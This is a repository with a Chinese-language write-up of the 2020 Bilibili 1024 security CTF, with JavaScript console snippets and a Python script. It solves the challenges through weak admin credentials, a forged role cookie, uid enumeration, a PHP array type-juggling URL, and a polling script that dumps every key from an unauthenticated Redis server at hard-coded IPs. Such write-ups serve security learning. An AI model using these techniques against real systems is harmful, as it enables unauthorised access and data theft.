├── fuck.py
├── end.php
├── bili.js
└── readme.md
/fuck.py:
--------------------------------------------------------------------------------
1 | import redis
2 |
3 | serve = '45.113.201.36' #设置服务器IP地址
4 |
5 | print('Connecting the Server ('+serve+') ...')
6 | while True:
7 | try:
8 | r = redis.StrictRedis(host=serve, port=6379)
9 | keys = r.keys()
10 | print('We got the flag:')
11 | for key in keys:
12 | value = r.get(key)
13 | print(key, value)
14 | break
15 | except:
16 | print('Error: Connection timed out')
17 | pass
18 |
--------------------------------------------------------------------------------
/end.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/bili.js:
--------------------------------------------------------------------------------
1 | //第一题 在中找到data
2 |
3 | //第二题,改UA为 "bilibili Security Browser"
4 | $.ajax({
5 | url: "api/ctf/2",
6 | type: "get",
7 | success: function (data) {
8 | console.log(data.data);
9 | }
10 | })
11 |
12 | //第三题,用户名"admin",密码"bilibili"
13 | //弱口令
14 | $.ajax({
15 | url: "api/ctf/3",
16 | type: "post",
17 | contentType: "application/json",
18 | dataType: "json",
19 | data: JSON.stringify({
20 | username: "admin",
21 | passwd: "bilibili",
22 | }),
23 | success: function (data) {
24 | console.log(data.data)
25 | }
26 | })
27 |
28 | //第四题,改cookies中的role为"7b7bc2512ee1fedcd76bdc68926d4f7b"
29 | //这是Administration的32位MD5
30 | $.ajax({
31 | url: "api/ctf/4",
32 | type: "get",
33 | success: function (data) {
34 | console.log(data.data);
35 | }
36 | })
37 |
38 | //第五题,使用Console向后穷举
39 | get(100336889) //这里每个人有可能不一样,请在网页中查找
40 | function get(uid) {
41 | $.ajax({
42 | url: "api/ctf/5?uid=" + uid,
43 | type: "get",
44 | success: function (data) {
45 | if (data.code == 200) {
46 | console.log(data.data)
47 | } else {
48 | get(uid + 1)
49 | }
50 | }
51 | })
52 | }
53 |
54 | //第十题(入口在第六题)
55 | //注意:每个人的靶机不一定相同,请注意更换IP
56 | // 1,访问"http://120.92.151.189/blog/test.php"
57 | // 2,将网页中所有的内容复制粘贴到Console中,获取str1和str2
58 | /** 获取示例:
59 | * var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9";
60 | * var str2 = "bilibili1024havefun";
61 | * console.log()"
62 | */
63 | // 3,将str1进行Unicode转中文得到 "程序员最多的地方"
64 | // 4,在GitHub搜索str2,即"bilibili1024havefun"
65 | // 5,在搜索结果中找到与end有关的那个,得到以下链接
66 | // https://github.com/interesting-1024/end/blob/main/end.php
67 | // 6,分析PHP文件,id为不含1的数组,路径不清楚要猜
68 | /** PHP文件示例:
69 | *
91 | */
92 | // 7,构造URL,使满足"!is_numeric($_GET['id']) and $reg !== 1 and $str === 1"
93 | // "http://120.92.151.189/blog/end.php?id[]=&url="
94 | // 8,猜URL,访问"http://120.92.151.189/blog/end.php?id[]=&url=./flag.txt"
95 | // 图片另存为,并用npp打开
96 | // 9,在文件末尾找到flag
97 |
98 | //第八题,连接一个假的redis
99 | //在做本题时可能会遇到redis连接不上的问题,我们使用Python脚本进行轮询
100 | //首先安装redis库:"!pip3 install redis"
101 | //接着跑以下脚本:
102 | /** Python文件
103 | * import redis
104 | *
105 | * print('Connecting the Server...')
106 | *
107 | * while True:
108 | * try:
109 | * r = redis.StrictRedis(host='120.92.151.189', port=6379)
110 | * keys = r.keys()
111 | * print('We got the flag:')
112 | * for key in keys:
113 | * value = r.get(key)
114 | * print(key, value)
115 | * break
116 | * except:
117 | * print('Error: Connection timed out')
118 | * pass
119 | */
120 | //就会自己输出答案了(逃)
121 |
--------------------------------------------------------------------------------
/readme.md:
--------------------------------------------------------------------------------
1 | # 2020-bilibili-sec1024
2 |
3 | > 本记录由 TePuint Club 赞助完成
4 |
5 | > 注意:如果你没有达到70分请不要往下查看
6 |
7 | 活动地址:[sec1024](https://security.bilibili.com/sec1024/)
8 |
9 | ## 第一题 - 页面的背后是什么?
10 |
11 | 打开DevTool审查元素,在``中找到data
12 |
13 | ## 第二题 - 真正的秘密只有特殊的设备才能看到
14 |
15 | 修改浏览器的User-Agent为 `bilibili Security Browser`,然后刷新网页,就可以看到flag了。
16 |
17 | ## 第三题 - 密码是啥?
18 |
19 | 就是弱口令,完全靠猜,用户名 `admin` ,密码 `bilibili` 。
20 |
21 | 或者直接在Console中输入:
22 |
23 | ```javascript
24 | $.ajax({
25 | url: "api/ctf/3",
26 | type: "post",
27 | contentType: "application/json",
28 | dataType: "json",
29 | data: JSON.stringify({
30 | username: "admin",
31 | passwd: "bilibili",
32 | }),
33 | success: function (data) {
34 | console.log(data.data)
35 | }
36 | })
37 | ```
38 |
39 | ## 第四题 - 对不起,权限不足~
40 |
41 | cookies中 `role` 对应的值为user的MD5,所以将这个值改为 `Administrator` 的MD5,即 `7b7bc2512ee1fedcd76bdc68926d4f7b` ,然后刷新网页,就可以看到flag了。
42 |
43 | ## 第五题 - 别人的秘密
44 |
45 | 使用Console向后穷举,我也不知道那个uid哪里来的。
46 |
47 | 在Console中输入:
48 |
49 | ```javascript
50 | get(100336889) //这里每个人有可能不一样,请在网页中查找
51 | function get(uid) {
52 | $.ajax({
53 | url: "api/ctf/5?uid=" + uid,
54 | type: "get",
55 | success: function (data) {
56 | if (data.code == 200) {
57 | console.log(data.data)
58 | } else {
59 | get(uid + 1)
60 | }
61 | }
62 | })
63 | }
64 | ```
65 |
66 | ## 第十题 - 结束亦是开始
67 |
68 | 你没看错,这里是第十题,但这一题的入口在第六题,也就是第六题做完是第十题的答案。
69 |
70 | >注意:每个人的靶机不一定相同,请注意更换IP
71 |
72 | 1. 访问 `http://120.92.151.189/blog/test.php` (扫目录扫出来的)
73 | 2. 将网页中所有的内容复制粘贴到Console中,获取str1和str2
74 | ```javascript
75 | var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9";
76 | var str2 = "bilibili1024havefun";
77 | console.log()
78 | ```
79 | 3. 将str1进行Unicode转中文得到 `程序员最多的地方` 即 GitHub
80 | 4. 在GitHub搜索str2,即"bilibili1024havefun"
81 | 5. 在搜索结果中找到与end有关的那个 [传送门](https://github.com/interesting-1024/end/blob/main/end.php)
82 | 6. 分析PHP文件,id为不含1的数组,路径不清楚要猜
83 | ```php
84 |
106 | ```
107 | 7. 构造URL,使满足 `!is_numeric($_GET['id']) and $reg !== 1 and $str === 1`
108 | 8. 猜URL,访问 `http://120.92.151.189/blog/end.php?id[]=&url=./flag.txt` 得到一张图片
109 | 9. 图片另存为,并用npp或者记事本打开,就可以在文件末尾找到flag
110 |
111 | ## 第八题
112 |
113 | 在做本题时可能会遇到redis连接不上的问题,我们使用Python脚本进行轰炸
114 |
115 | 首先安装redis库:`!pip3 install redis`
116 |
117 | 接着执行以下Python脚本:
118 |
119 | ```python
120 | import redis
121 |
122 | serve = '45.113.201.36' #设置服务器IP地址
123 |
124 | print('Connecting the Server ('+serve+') ...')
125 | while True:
126 | try:
127 | r = redis.StrictRedis(host=serve, port=6379)
128 | keys = r.keys()
129 | print('We got the flag:')
130 | for key in keys:
131 | value = r.get(key)
132 | print(key, value)
133 | break
134 | except:
135 | print('Error: Connection timed out')
136 | pass
137 | ```
--------------------------------------------------------------------------------